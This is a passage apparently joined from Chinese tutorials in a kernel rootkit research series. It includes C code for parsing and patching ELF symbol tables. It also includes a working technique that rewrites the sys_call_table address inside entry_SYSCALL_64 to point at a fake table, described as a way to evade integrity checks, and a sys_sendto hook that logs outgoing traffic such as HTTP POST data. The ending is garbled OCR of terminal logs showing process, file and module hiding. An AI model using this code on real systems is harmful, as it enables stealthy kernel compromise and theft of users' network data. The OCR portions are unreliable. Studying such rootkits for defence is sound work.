需要说明的是，对符号的具体解析、重定位细节，本文没有深入，
且待后续的分解。

另外，本文使用的 ld 与 objcopy 在普通用户的机器上很可能没有。
也就是说，我们其实需要自己实现链接与把符号从 local
改成 global 的功能。考虑到篇幅有限，本文对这两个的实现不做讲解。






第二部分： ELF 文件解析初步


示例一：列举所有区间的名字、文件偏移等信息：lssec


分析 ELF 头部

ELF 文件的起始部分为 ELF 头部，
ELF 头部有两种， 即 Elf32_Ehdr （32 比特 ELF 文件头部）
与 Elf64_Ehdr （64 比特 ELF 文件头部）。

我们以 Elf64_Ehdr 为例看看其成员的含义。

typedef struct
{
  unsigned char  e_ident[EI_NIDENT]; // ELF 特征码与其他信息。
  Elf64_Half     e_type; // 类型。
  Elf64_Half     e_machine; // 架构。
  Elf64_Word     e_version; // 版本。
  Elf64_Addr     e_entry; // 入口点虚拟地址。
  Elf64_Off  e_phoff; // 程序头表的文件偏移。
  Elf64_Off  e_shoff; // 区间头表的文件偏移。
  Elf64_Word     e_flags;
  Elf64_Half     e_ehsize; // ELF 头部的大小（单位：字节）。
  Elf64_Half     e_phentsize; // 程序头表项的大小（单位：字节）。
  Elf64_Half     e_phnum; // 程序头表项的数目。
  Elf64_Half     e_shentsize; // 区间头表项的大小（单位：字节）。
  Elf64_Half     e_shnum; // 区间头表项的数目。
  Elf64_Half     e_shstrndx; // 区间头字符串表在区间头表的索引。
} Elf64_Ehdr;





头部的前 EI_NIDENT 字节数据（即结构体中的 e_ident 成员）
为 ELF Identification，
其中包括特征码，比特类型（即 32 比特或者 64 比特）
与其他信息（比如端序 ）。

具体解析的时候，我们先从文件的起始处读取
EI_NIDENT 字节的内容到内存中，
从中判断出文件的比特类型，在知道了文件的比特类型之后，
我们就可以确定该用 Elf32_Ehdr 还是用 Elf64_Ehdr 。

本文涉及的所有操作均以 Elf64_Ehdr + 小端序为例。

结合示例代码来理解。

// 省略打开文件部分。

unsigned char e_ident[EI_NIDENT];
// 读取文件起始 ``EI_NIDENT`` 字节的内容。
if (fread(e_ident, 1, EI_NIDENT, fp) != EI_NIDENT) {
    fprintf(stderr, "%s\n", "Incomplete ELF Identification!");
    return EXIT_FAILURE;
}

// 判断 ``ELF`` 特征码是否正确。
// ``ELFMAG`` 与 ``SELFMAG`` 定义于系统头文件 ``elf.h`` 中，
// 分别为特征码与特征码的大小。
if (memcmp(e_ident, ELFMAG, SELFMAG) != 0) {
    fprintf(stderr, "%s\n", "Bad ELF Magic Number!");
    return EXIT_FAILURE;
}

// 判断是否是 64 比特小端序。
// 这里使用的宏比如 ``EI_CLASS`` 与 ``ELFCLASS64`` 均定义于 ``elf.h`` 。
if (e_ident[EI_CLASS] != ELFCLASS64 || e_ident[EI_DATA] != ELFDATA2LSB) {
    fprintf(stderr, "%s\n", "We Only Support ELF64 LE!");
    return EXIT_FAILURE;
}

Elf64_Ehdr header;
// 退回到文件起始。
fseek(fp, 0, SEEK_SET);
// 读取一个 ``Elf64_Ehdr`` 大小的内容，
// 也就是读取 ``ELF`` 头部。
if (fread(&header, 1, sizeof header, fp) != sizeof header) {
    fprintf(stderr, "%s\n", "Incomplete ELF Header!");
    return EXIT_FAILURE;
}








分析区间头部

上面我们讨论了 ELF 头部的结构与读取方式，
接下来我们看看怎样处理区间头部，区间头部也分两种，
32 比特的叫 Elf32_Shdr ，自然 64 比特的也就叫 Elf64_Shdr 。

以 Elf64_Shdr 为例，成员含义如下。

typedef struct
{
  Elf64_Word     sh_name; // 区间名（字符串表索引）。
  Elf64_Word     sh_type; // 区间类型。
  Elf64_Xword    sh_flags; // 区间标志。
  Elf64_Addr     sh_addr; // 区间虚拟地址。
  Elf64_Off  sh_offset; // 区间文件偏移。
  Elf64_Xword    sh_size; // 区间大小（单位：字节）。
  Elf64_Word     sh_link;
  Elf64_Word     sh_info;
  Elf64_Xword    sh_addralign;
  Elf64_Xword    sh_entsize; // 这个会在下面 lssym 的时候解释。
} Elf64_Shdr;





值得注意的是， sh_name 成员并不是一个字符串，
而是一个整数，为区间头表字符串表的索引。
那我们怎么拿到这个区间的名字呢？

回想我们前面讲的 ELF 头部结构，
Elf64_Ehdr 里的 e_shoff 成员是区间头表的文件偏移，
e_shentsize 是区间头表项的大小（单位：字节），
e_shnum 是区间头表项的数目；也就是说，
从文件偏移 e_shoff 开始 e_shentsize * e_shnum 大小的内容
就是区间头表。
这样一来，我们可以把整个区间头表读取到内存里。
而 e_shstrndx 是字符串表在区间头表的索引，
通过访问这个索引得到字符串表的头部，
并进而根据头部中的信息将字符串表的内容读取出来，
再 sh_name 作偏移访问字符串表就可以拿到区间名了。

结合代码示例理解。

size_t size = header.e_shnum * header.e_shentsize;
// 分配区间头表大小的内存。
Elf64_Shdr *section_header_table = malloc(size);
if (section_header_table == NULL) {
    perror("malloc");
    return EXIT_FAILURE;
}

// 定位到文件偏移 ``e_shoff`` 处。
fseek (fp, header.e_shoff, SEEK_SET);
// 读取区间头表。
if (fread(section_header_table, 1, size, fp) != size) {
    fprintf(stderr, "%s\n", "Incomplete Section Header Table!");
    return EXIT_FAILURE;
}

// 得到字符串表的区间头。
Elf64_Shdr shstrtab = section_header_table[header.e_shstrndx];
// 区间大小。
size = shstrtab.sh_size;
// 分配内存。
char *section_header_string_table = malloc(size);
if (section_header_string_table == NULL) {
    perror("malloc");
    return EXIT_FAILURE;
}

// 定位到字符串表所在文件偏移。
fseek (fp, shstrtab.sh_offset, SEEK_SET);
// 读取字符串表。
if (fread(section_header_string_table, 1, size, fp) != size) {
    fprintf(stderr, "%s\n", "Incomplete Section Header String Table!");
    return EXIT_FAILURE;
}








遍历所有区间并打印其信息

然后我们就可以遍历区间头表并将其名字、文件偏移等信息打印出来。
代码如下。

printf("%s\n", "number offset     size   entsize   name");
for (unsigned num = 0; num < header.e_shnum; num += 1) {
    Elf64_Shdr section_header = section_header_table[num];
    char *name = string_table + section_header.sh_name;
    printf("%4u %8llx %8llx %8llx %s\n",
           num, section_header.sh_offset,
           section_header.sh_size, section_header.sh_entsize,
           name);
}








参考效果

编译 lssec.c 得到 lssec 。

左边是 ./lssec /bin/ls ，
右边是对比使用的 readelf -S /bin/ls 。

[image: ../_images/lssec.png]





示例二：列举所有符号的名字、值等信息：lssym

上面的示例一完成了对区间头表的遍历。现在我们再看看怎么读取符号表。

基于示例一遍历区间头表的代码，
我们可以实现一个 get_section_by_name ，
即通过区间名字拿到对应的区间头。

然后我们通过 get_section_by_name 拿到 .symtab （即符号表）与
.strtab （符号字符串表）的区间头，
进而根据这两个头把这两个区间读到内存中来。
看如下代码。

// 获取 .symtab 的头。
Elf64_Shdr *symtab = get_section_by_name(".symtab",
                                         header,
                                         sec_header_tab,
                                         shstrtab);

// 这儿省略获取 .strtab 的头，与获取 .symtab 的头类似。

// 这儿省略对是否获取成功的检查。

// 分配 .symtab 大小的内存。
Elf64_Sym *syms = malloc(symtab->sh_size);
if (syms == NULL) {
    perror("malloc");
    return EXIT_FAILURE;
}
// 定位到 .symtab 的文件偏移。
fseek(fp, symtab->sh_offset, SEEK_SET);
// 读取 .symtab。
if (fread(syms, 1, symtab->sh_size, fp) != symtab->sh_size) {
    fprintf(stderr, "%s\n", "Incomplete Symbol Table!");
    return EXIT_FAILURE;
}

// 这儿省略 .strtab 的读取，与 .symtab 的读取类似。





此时， .symtab 与 .strtab 都已经读到内存里了。
下面我们看看， .symtab 的结构。

区间头有一个 sh_entsize 成员，这个成员的含义是，
如果这个区间保存的是一张表，
那么 sh_entsize 就是这张表中每个成员的大小。
回想一下，区间头里的 sh_size 是区间的大小，
所以对 .symtab 而言，它有 sh_size / sh_entsize 项成员。

每项成员由结构体 Elf64_Sym 描述，定义如下。

typedef struct
{
  Elf64_Word     st_name; // 符号名字（字符串表索引）
  unsigned char  st_info; // 类型与绑定。
  unsigned char st_other;
  Elf64_Section  st_shndx;
  Elf64_Addr     st_value; // 符号的值。
  Elf64_Xword    st_size;
} Elf64_Sym;





Elf64_Sym 中的 st_name 是一个整数，
为符号的名字在 .strtab 中的索引，
这一点与之前区间头（ Elf64_Shdr ）里的 sh_name 类似。

知道了这些，我们就可以遍历整个符号表并将符号的名字，
符号的值等信息打印出来，如下代码所示。

printf("%s\n",
       "num    index    size    value  info other  name");
int total = symtab->sh_size / symtab->sh_entsize;
for (int count = 0; count < total; count += 1) {
    printf("%4llu %4llx %8llu %8llx %4x %4x %s\n",
           count,
           syms[count].st_shndx,
           syms[count].st_size,
           syms[count].st_value,
           syms[count].st_info,
           syms[count].st_other,
           strs + syms[count].st_name);
}






参考效果

编译 lssym.c 得到 lssym ，如下图所示，
左边是 ./lssym ../noinj/noinj.ko ，
右边是用来对照的 readelf -s ../noinj/noinj.ko 。

[image: ../_images/lssym.png]





示例三：获取或修改给定符号的值：setsym

既然我们已经能够遍历整个符号表了，那么要获取给定符号的值，毫无压力。

那么修改给定符号的值呢，也很简单，请看如下代码，
基于示例二的遍历逻辑修改而来。

for (int count = 0; count < total; count += 1) {
    // 判断当前遍历到的符号是不是我们给定的符号。
    // 请注意，argv[2] 位置参数用来给定符号的名字。
    if (strcmp(strs + syms[count].st_name, argv[2]) == 0) {
       // 如果是，就会执行进来。
       // 判断位置参数的个数。
        if (argc == 4) {
            // 如果给定了 3 个位置参数，执行到这里。
            // 这时是 setsym 的第二种用法。
            // 即 setsym <module_path> <symbol_name> <symbol_value> 。
            // 也就是设置给定符号的值。

            // 取当前符号。
            Elf64_Sym sym = syms[count];
            char *endp;
            errno = 0;
            // 将 argv[3] 转换成整数。
            // 注意 argv[3] 是需要设置的给定符号的值。
            unsigned long long val = strtoull(argv[3], &endp, 0);
            // 处理转换时可能出现的错误。
            if ((errno == ERANGE && val == ULLONG_MAX) ||
                (errno != 0 && val == 0)) {
                perror("strtoull");
                return EXIT_FAILURE;
            }
            // 处理转换时可能出现的错误。
            if (endp == argv[3]) {
                fprintf(stderr, "%s\n", "No Valid Number!");
                return EXIT_FAILURE;
            }
            // 把符号的值改成给定的值。
            sym.st_value = val;

            // 计算当前符号距离 .symtab 起始的偏移。
            long delta = count * symtab->sh_entsize;
            // 定位到当前符号的文件偏移。
            fseek(fp, symtab->sh_offset + delta, SEEK_SET);
            // 写入修改后的符号。
            if (fwrite(&sym, 1, sizeof sym, fp) != sizeof sym) {
                fprintf(stderr, "%s\n", "Incomplete Sym Write!");
                return EXIT_FAILURE;
            } else {
                fprintf(stderr, "%s\n", "Writing complete.");
            }
        } else {
            // 如果给定了 2 个位置参数，执行到这里。
            // 请注意，我们在程序的开始部分就把 argc 限制在了
            // 3 或者 4 。

            // 这时是 setsym 的第一种用法。
            // 即 setsym <module_path> <symbol_name> 。
            // 获取给定符号的值。
            printf("0x%llx\n", syms[count].st_value);
        }
    }
}






参考效果

考虑到我们在第一部分已经基于 setsym 完成了我们的 Happy Hacking 。
这里就不必举参考用例了。








第三部分： 参考资料与延伸阅读


1. 参考资料


	Infecting loadable kernel modules: kernel versions 2.6.x/3.0.x [http://phrack.org/issues/68/11.html#article]

	Tool Interface Standard (TIS) Executable and Linking Format (ELF) Specification Version 1.2 [http://refspecs.linuxbase.org/elf/elf.pdf]






2. 延伸阅读


	Infecting Loadable Kernel Modules [http://phrack.org/issues/61/10.html#article]

	Static Kernel Patching [http://phrack.org/issues/60/8.html#article]



如有错误疏忽，欢迎纠正补充；
如有疑惑不解，欢迎提问讨论。

rectigu@gmail.com ， 二〇一六年七月。
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前言

鉴于笔者知识能力上的不足，如有疏忽，欢迎纠正。

照旧，本文所需的相关代码位于如下代码仓库：
https://github.com/NoviceLive/research-rootkit。

测试建议：为了愉快地 Happy Hacking，请不要在物理机玩火。




概要

本文为 基于修改 sys_call_table 的系统调用挂钩 [http://www.freebuf.com/sectool/105713.html] 的后续，
继续讲解围绕系统调用的挂钩方案。
第一部分以简要的系统调用挂钩综述纵览全局，
然后迅速切入本文的中心话题，篡改派遣例程：
对照相关反汇编与代码细致讲述如何从派遣例程中
抽取、篡改与恢复编码着系统调用表地址的那 4 个关键字节。
第二部分则是一个简易的系统调用应用示例，初级网络数据监控。

提示 ：本文以 x64 syscall 发起的系统调用
（即派遣例程为 entry_SYSCALL_64）为例，
其他情况，读者可以尝试举一反三。




第一部分：基于修改派遣例程的系统调用挂钩


1. 系统调用挂钩综述

我们简要地看看从发起系统调用到完成系统调用这个过程中的控制转移，
想了解其中的详尽细节的话，可以结合参考资料阅读相关源代码。


	用户函数调用库函数，库函数最终发起系统调用;

注 ： 钩用户函数到库函数的控制转移，可以自行查找相关资料，
似乎 LD_PRELOAD 是最受欢迎的。



	CPU 以特权级 0 执行某个处理函数，
这个处理函数通常叫 系统调用派遣例程 ；



	派遣例程进行必要准备（比如保存寄存器，切换到内核栈等）
与检查（比如系统调用号是否有效）工作之后，
调用系统调用表中相应系统调用号的处理函数，
这个处理函数通常叫 系统调用服务例程 ；



	服务例程要完成任务，很可能需要调用更下层的关键函数；

注 ： 内联钩服务例程的下层函数，更隐蔽。参见 高级Linux Kernel Inline Hook技术分析与实现 [http://old.sebug.net/paper/pst_WebZine/pst_WebZine_0x03/html/%5BPSTZine%200x03%5D%5B0x03%5D%5B%E9%AB%98%E7%BA%A7Linux%20Kernel%20Inline%20Hook%E6%8A%80%E6%9C%AF%E5%88%86%E6%9E%90%E4%B8%8E%E5%AE%9E%E7%8E%B0%5D.html] 。



	服务例程完成任务后返回到派遣例程，
派遣例程进行必要的恢复（比如恢复寄存器）工作；



	控制权返回到发起系统调用的库函数，
库函数进行包装处理（比如系统调用的返回值）之后返回到用户函数。





简言之， 用户函数 –> 库函数 –> 派遣例程 –> 服务例程
–> 服务例程依赖的更底层函数 。

在这个过程中的每一步、每一点都可以或者可能被篡改，
不过我们倾向于篡改其中的某几个关键的控制转移点，
比如 基于修改 sys_call_table 的系统调用挂钩 [http://www.freebuf.com/sectool/105713.html]
中讲的 sys_call_table ；
比如本文要讲的改派遣例程；
又比如篡改系统调用服务例程，这个可以使用内联挂钩，
篡改服务例程起始处的若干字节，劫持其控制权。

下面，我们看看其中的一个关键点，
entry_SYSCALL_64 中的 sys_call_table 。




2. 派遣例程的篡改方式

不是说好的改 entry_SYSCALL_64 吗，
为什么 sys_call_table 又亮相了？

情况是这样子的，简单讲，
因为 entry_SYSCALL_64 的机器指令里包含
sys_call_table 的地址，
如果我们改掉这几个字节，
entry_SYSCALL_64 查的表也就在我们的掌控之下了。

仔细说来，基于修改派遣例程的钩法有多种不同的可能。
我们知道，在 x64 下使用 syscall 发起系统调用时，
控制权会转移到 MSR_LSTAR 中存储的地址，
这个地址也就是 entry_SYSCALL_64 的地址。

所以，第一种可能的形式就是篡改 MSR_LSTAR ，
把它改成一个假的派遣例程的地址，
让这个假的派遣例程来做系统调用的派遣。

第二种可能的形式是，不修改 MSR_LSTAR ，
而是修改 entry_SYSCALL_64 起始处的若干字节，
将控制转移到一个我们控制的函数，
由我们的函数接下来做系统调用派遣工作。
也就是内联钩 entry_SYSCALL_64 。

第三种则是，既不修改 MSR_LSTAR 也不内联钩 entry_SYSCALL_64 ，
而是将 entry_SYSCALL_64 中含有的 sys_call_table 的地址替换成
我们掌控的假的 sys_call_table 的地址。接下来我们讲讲这种钩法。




3. 获取 entry_SYSCALL_64 中的 sys_call_table

通过反汇编 entry_SYSCALL_64 ，我们可以明显的看到，
进行系统调用派遣的是这一行。
请注意，这时候的 rax 中存放着系统调用号。

5f:       ff 14 c5 a0 01 60 81    call   QWORD PTR [rax*8-0x7e9ffe60]





指令形式为： call QWORD PTR [index * scale + disp32] 。
具体来看， index 也就是 rax 即系统调用号；
scale 为 8 即 x64 的指针大小；
disp32 为 -0x7e9ffe60 ，也就是系统调用表的地址。

这一行汇编的机器码有 7 个字节，
即 ff 14 c5 a0 01 60 81 ，
其中， 我们要改的是 disp32，
即 a0 01 60 81 ，
而这也就是 sys_call_table 的地址了。

我们使用 ff 14 c5 作为特征字节搜索
entry_SYSCALL_64 的机器码，
然后读出 4 个字节的 sys_call_table 的地址，
符号拓展到 64 比特：
因为它的符号位是 1，我们可以简单的将高 32 比特补成 1 就好了。

请看代码。

// get_lstar_sct_addr 用于获取 entry_SYSCALL_64 机器码中编码着
// sys_call_table 地址的那几个字节在内存中的起始地址。
void *
get_lstar_sct_addr(void)
{
    u64 lstar;
    u64 index;

    // 从 MSR_LSTAR 里读出 entry_SYSCALL_64 的地址。
    rdmsrl(MSR_LSTAR, lstar);

    // 开始搜索。
    for (index = 0; index <= PAGE_SIZE; index += 1) {
        u8 *arr = (u8 *)lstar + index;

        // 判断当前的位置的三个字节是否是特征字节。
        if (arr[0] == 0xff && arr[1] == 0x14 && arr[2] == 0xc5) {
            // 找到了特征字节，将目标的地址返回。
            return arr + 3;
        }
    }

    return NULL;
}

unsigned long **
get_lstar_sct(void)
{
    // 获取目标地址。
    unsigned long *lstar_sct_addr = get_lstar_sct_addr();
    if (lstar_sct_addr != NULL) {
        u64 base = 0xffffffff00000000;
        // 获取 32 比特。
        u32 code = *(u32 *)lstar_sct_addr;
        // 直接把高 32 比特填 1 就好了。
        return (void *)(base | code);
    } else {
        return NULL;
    }
}






参考结果

[image: ../_images/get.png]
这里需要解释一下，从截图中我们可以看到，
通过 基于修改 sys_call_table 的系统调用挂钩 [http://www.freebuf.com/sectool/105713.html]
中的方法拿到的 sys_call_table 的地址是
ffff8800016001a0 ，
而从 entry_SYSCALL_64 中拿到的 sys_call_table 的地址是
ffffffff816001a0 。

为什么这两个值不一致呢？
因为这两个是两个不同的虚拟地址，
它们对应的物理地址一样的。
同样看截图，它们物理地址都是 16001a0 。

把虚拟地址变成物理地址，我们可以使用 virt_to_phys ，
反过来的话，我们可以使用 phys_to_virt 。
函数原型如下：

static inline phys_addr_t
virt_to_phys(volatile void *address);

static inline void *
phys_to_virt(phys_addr_t address);










4. 修改与恢复 entry_SYSCALL_64 中的 sys_call_table

有了第 3 小节中实现的 get_lstar_sct_addr ，
要修改或者恢复 entry_SYSCALL_64 中的 sys_call_table
并不复杂。下面是 set_lstar_sct 的实现。

int
set_lstar_sct(u32 address)
{
    unsigned long *lstar_sct_addr = get_lstar_sct_addr();
    if (lstar_sct_addr != NULL) {
        u8 *arr = (u8 *)lstar_sct_addr;
        u8 *new = (u8 *)&address;

        fm_alert("%02x %02x %02x %02x\n",
                 arr[0], arr[1], arr[2], arr[3]);
        fm_alert("%02x %02x %02x %02x\n",
                 new[0], new[1], new[2], new[3]);

        disable_wp();
        memcpy(lstar_sct_addr, &address, sizeof address);
        enable_wp();

        return 0;
    } else {
        return 1;
    }
}






修改

# define NAME "entry"

struct proc_dir_entry *entry;

ssize_t
write_handler(struct file * filp, const char __user *buff,
              size_t count, loff_t *offp);

struct file_operations proc_fops = {
    .write = write_handler
};

// kernel text mapping, from phys 0
// ffffffff80000000 - ffffffffa0000000 (=512 MB)

// 模块映射空间地址范围。
// ffffffffa0000000 - ffffffffff5fffff (=1526 MB)

// 请注意：我们只能编码 4 个字节到 entry_SYSCALL_64 里。
// 所以，我们需要使用形如 0xffffffffXXXXXXXX 的地址，
// 这样可以借助符号拓展。
// 静态分配可以得到这种地址，至于为什么请看模块映射空间的地址范围。
u64 fake_sct[__NR_syscall_max + 1] = { 0 };

// 把代码放到一个 /proc 文件的写处理函数里
// 是为了在内核调试的时侯方便下断点。
ssize_t
write_handler(struct file * filp, const char __user *buff,
              size_t count, loff_t *offp)
{
    u64 *real_sct;

    real_sct = (u64 *)get_sct_via_sys_close();
    if (real_sct == NULL) {
        fm_alert("%s\n", "get_sct failed.");
        return count;
    }
    fm_alert("real sys_call_table: %p\n", real_sct);
    fm_alert("fake sys_call_table: %p\n", fake_sct);

    memcpy(fake_sct, real_sct, sizeof fake_sct);

    set_lstar_sct((u32)(unsigned long)fake_sct);

    return count;
}








恢复

// 使用基于导出的 sys_close 搜内存的方法拿到表的地址。
real_sct = get_sct_via_sys_close();
// 拿到 entry_SYSCALL_64 中写死在机器码中的表的地址。
lstar_sct = get_lstar_sct();

if (real_sct == NULL || lstar_sct == NULL) {
    return 1;
}

fm_alert("%s\n", "==> According to sys_close:");
fm_alert("virt: %p\n", real_sct);
real_phys = virt_to_phys(real_sct);
fm_alert("phys: %llx\n", real_phys);

fm_alert("%s\n", "==> According to entry_SYSCALL_64:");
fm_alert("virt: %p\n", lstar_sct);
lstar_phys = virt_to_phys(lstar_sct);
fm_alert("phys: %llx\n", lstar_phys);

if (real_phys == lstar_phys) {
    // 两个地址是同一个，不用做恢复。
    fm_alert("%s\n", "==> Matched.");
} else {
    // 两个地址不一样，恢复成基于 sys_close 得到的那个地址。
    fm_alert("%s\n", "==> Patching to that from sys_close...");
    // 恢复到正常的值。
    set_lstar_sct((u32)(unsigned long)phys_to_virt_kern(real_phys));
}








参考结果

[image: ../_images/set-rec.png]
请注意顺序！

卸载 setko 之前，需要确保已经恢复到原来的值；
否则，机器将不能继续运行。






5. 比较

这种钩法相比于直接改 sys_call_table 有什么优势呢？

痕迹更少。
或者说，可以被检测到的、对系统的更改更少，我们只修改了派遣例程的 4 个字节，
而真的 sys_call_table 完好无损。

因而，对于那些只检测 sys_call_table 完整性
而不检查派遣例程完整性的检测逻辑，本文的方法是可以躲过检测的。






第二部分：基于系统调用挂钩的初级流量监视

监视本机发出去的数据包。
考虑到 sys_send 是用 sys_sendto 实现的，
所以我们只钩 sys_sendto 就好了。


1. 伪造假的 sys_call_table 并钩调其中的 sys_sendto

real_sct = get_sct_via_sys_close();
if (real_sct == NULL) {
    return 1;
}

real_phys = virt_to_phys(real_sct);
fm_alert("real sys_call_table: %p phys: %llx\n",
         real_sct, real_phys);
fm_alert("fake sys_call_table: %p phys: %llx\n",
         fake_sct, virt_to_phys(fake_sct));

// 复制真表的内容到假表。
memcpy(fake_sct, real_sct, sizeof fake_sct);

// 钩调假表中的 sys_sendto。
HOOK_SCT(fake_sct, sendto);

// 把 entry_SYSCALL_64 中的真表地址替换成假表地址。
set_lstar_sct((u32)(unsigned long)fake_sct);








2. sys_sendto 的钩子函数

asmlinkage long
fake_sendto(int fd, void __user *buff, size_t len, unsigned flags,
            struct sockaddr __user *addr, int addr_len)
{
    void *kbuf = kmalloc(len + 1, GFP_KERNEL);
    if (kbuf != NULL) {
        if (copy_from_user(kbuf, buff, len)) {
            fm_alert("%s\n", "copy_from_user failed.");
        } else {
            if (memcmp(kbuf, "GET", 3) == 0 ||
                memcmp(kbuf, "POST", 4) == 0) {
                // 如果是 GET 与 POST 我们就按文本方式打印到日志。
                print_ascii(kbuf, len, "ascii");
            } else {
                // 如果是其他内容，打印 16 进制 dump 到日志。
                print_memory(kbuf, len, "memory");
            }
        }
        kfree(kbuf);
    } else {
        fm_alert("%s\n", "kmalloc failed.");
    }

    // 交给真的 sys_sendto 处理，并返回。
    return real_sendto(fd, buff, len, flags, addr, addr_len);
}








3. 测试


参考结果1： ping

ping 发出的包，这里我们就不看其结构了。

[image: ../_images/ping.png]



参考结果2： HTTP GET / POST

打开浏览器，随手打开个 HTTP 网站，
可以看到右侧日志窗口飞快在显示发出去的各种网络数据，
比如 HTTP GET。

[image: ../_images/http.png]







第三部分： 参考资料与延伸阅读


1. 参考资料


	How does the Linux kernel handle a system call [https://0xax.gitbooks.io/linux-insides/content/SysCall/syscall-2.html]

	Documentation/x86/x86_64/mm.txt [https://www.kernel.org/doc/Documentation/x86/x86_64/mm.txt]






2. 延伸阅读


	高级Linux Kernel Inline Hook技术分析与实现 [http://old.sebug.net/paper/pst_WebZine/pst_WebZine_0x03/html/%5BPSTZine%200x03%5D%5B0x03%5D%5B%E9%AB%98%E7%BA%A7Linux%20Kernel%20Inline%20Hook%E6%8A%80%E6%9C%AF%E5%88%86%E6%9E%90%E4%B8%8E%E5%AE%9E%E7%8E%B0%5D.html]

	X86-64 Instruction Encoding [http://wiki.osdev.org/X86-64_Instruction_Encoding]
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.data
00000000000002a0
.bss
0000000000000208
.shstrtab
00000000000000eT

0000000000000000
PROGBITS
0000000000000010
PROGBITS
0000000000000000
PROGBITS
0000000000000000
PROGBITS
0000000000000000
PROGBITS
0000000000000000
PROGBITS
0000000000000000
INIT ARRAY
0000000000000000
FINI ARRAY
0000000000000000
PROGBITS
0000000000000000
DYNAMIC
0000000000000010
PROGBITS
0000000000000008
PROGBITS
0000000000000008
PROGBITS
0000000000000000
NOBITS
0000000000000000
STRTAB
0000000000000000

)
00000040220

)
000000402a10

0000000413b3c

o o o o
Pt i-t301
8>3

0000000413b80
)

000000000041a2d4

0
000000000041aaf0
0

000000000061de0®

WA
000000000061de10
WA

000000000061df 8
WA )

WA
000000000061e3cO

WA
000000000061e680

0000000000000000
0

0
000000000061de08
0
0
000000000061de18
0

0
000000000061e000
0

4

00002270
16

0000210
16

00013b3¢
4

00013080
64
0001a2d4
4
0001aaf0
8
0001ded0
8
0001de08
8
0001de10
8
0001de18
8
0001df8
8
00012000
8
0001e3cO
64
0001e660

64
00012660
1
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root@anon:~/public/research-rootkit
Lib Makefile pshid.c
root@anon:~/public/research-rootkit
make modules \
--directory "/lib/modules/4
M="/root/public/research-ro
make[1]: Entering directory '/usr/s
CC [M] /root/public/research-roo
LD [M]
o
Building modules, stage 2.
MODPOST 1 modules
cc
nod. o
LD [M]
ko

root@anon:~/public/research-rootkit

PID TTY TIME CMD
17? 00:00:00 systemd
27 00:00:00 kthreadd

root@anon:~/public/research-rootkit
dko. ko
root@anon:~/public/research-rootkit

PID TTY TIME CMD
27 00:00:00 kthreadd
37 00:00:00 ksoftirqd/0

root@anon:~/public/research-rootkit
ko
root@anon:~/public/research-rootkit

TIME CMD
00:00:00 systemd
00:00:00 kthreadd
:~/public/research-rootkit

.git/2-fundamentals/pshid# 1s
.git/2-fundamentals/pshid# make

.6.0-kalil-and64/build” \
otkit.git/2-fundamentals/pshid"
rc/Uinux-headers-4.6.0-kalil-and64
tkit.git/2-fundamentals/pshid/pshid.o

/root/public/research-rootkit.git/2-fundamentals/pshid/pshidko.

/root/public/research-rootkit.git/2-fundamentals/pshid/pshidko.
/root/public/research-rootkit.git/2-fundamentals/pshid/pshidko.

make[1]: Leaving directory '/usr/src/linux-headers-4.6.0-kalil-amd64

.git/2-fundamentals/pshid# ps -A|head

.git/2-fundamentals/pshid# insmod pshi

.git/2-fundamentals/pshid# ps -A|head

.git/2-fundamentals/pshid# rmmod pshid

.git/2-fundamentals/pshid# ps -A|head

.git/2-fundamentals/pshid# []

root@anon:~# dmesg -C && dmesg -w
[14264.752147] pshidko
[14264.752152] pshidko
[14264.752157] pshidko
[14264.752159] pshidko
to TTTT1C04c5000
[14266.997603] pshidko
[14276.573535] pshidko
299]
[14276.573545] pshidko
[14276.573553] pshidko
[14276.573556] pshidko

[BEPYPEYEETTIIN T STICNAEEL T L TNEE: Farewell the World

Greetings the World!
Opening the path: /proc
Succeeded in opening: /prog

init_module]

‘

fake filldir
cleanup_module

cleanup module
cleanup_module
cleanup_module

Opening the path: /proc
Succeeded in opening: /prog
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[/dev/sdal: clean, 422318/16252928 files, 3392421/65011712 blocks

[

fade BI0S or use force_add

[
[
[
r

r

10.026483) piixd.

10.204745] video
10.205059] video
10.205363] video
10.205693] video

_smbus 0000:

xaddr
Lfshid_ini
Lfshid_ini
_fshid_init:
_fshid_ini

107,

: SMBus base address uninitialized - upgr

Greetings the Horld!

Opening the path: /.

Succeeded in opening: /

Changing file_op->iterate from ffffffffco2Tbedo

to fHfFFffcodidodo.

10.423915] intel

_rapl: no valid rapl domains found in package 0
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root@anon:~/public/research-rootkit.git/2-fundamentals/kohid# 1s root@anon:~# dmesg -C && dmesg -w
[RELIPEETYPPARIVGLCISURREILTIE: Greetings the World

kohid.c 1lib Makefile
root@anon:~/public/research-rootkit.git/2-fundamentals/kohid# make (RECTIREELYPY I GG IO DML LLTNEE: Opening the path: /sys/module

make modules \
directory "/lib/modules/4.6.0-kalil-amd64/build" \ [ 4601.434736] kohidko.init module)

[ 4601.434734] kohidko.init modulefMSIE NS T mE

Changing file op->iterate from ff
M="/root/public/research-rootkit.git/2- fundamentals/kohid" (f78126a880 to fTfff{Tfc0513000
make[1]: Entering directory '/usr/src/linux-headers-4.6.0-kalil-amd64' (W ETVE RIS UL ME: Opening the path: /proc/modules
CC [M] /root/public/research-rootkit.git/2-fundamentals/kohid/kohid.o [l 4601.434742] kohidko.init modulefelE it T IS e
LD [M] /root/public/research-rootkit.git/2-fundamentals/kohid/kohidko. [ 4601.434743] kohidko.1init moduleEei ieRLieetel ol Rt hs Lol f
79720 to T c0513020

Building modules, stage 2. 4612.179848] kohidko. fake seq_showgEFTETJELLIIE

MODPOST 1 modules 4623.081820] kohidko. fake FilTdirBFbGIRIELNE

cc /root/public/research-rootkit.git/2-fundamentals/kohid/kohidko. [ 4628.804462] kohidko.cleanup modulef byl e S ST TS

4628.804416] kohidko. cleanup modulef il lad L et G RS M

mod .. o
LD [M] /root/public/research-rootkit.git/2-fundamentals/kohid/kohidko. 4628.804421] kohidko.cleanup modulef & Ellb Iyl IERTRCE
0 f ff 0

o

c0513000 to fT
4628.804425] kohidko. cleanup_module BN N I AlIIES
PRI EE R TR I T P M E: Succeeded in opening: /proc/modulel

ke
make[1]: Leaving directory '/usr/src/linux-headers-4.6.0-kalil-amd64
root@anon:~/public/research-rootkit.git/2-fundamentals/kohid# insmod kohi
dko. ko

root@anon:~/public/research-rootkit.git/2-fundamentals/kohid# lsmod [grep 4628.804437] kohidko.cleanup module
kohidko [fc6513020 to f 81019720

root@anon:~/public/research-rootkit.git/2-fundamentals/kohid# s /sys/mod [ 4628.804448] kohidko.cleanup moduleEEIR NN ENIIAL]
ule [grep kohidko
root@anon:~/public/research-rootkit.git/2-fundamentals/kohid# rmmod kohid

ko
root@anon:~/public/research-rootkit.git/2-fundamentals/kohid# []

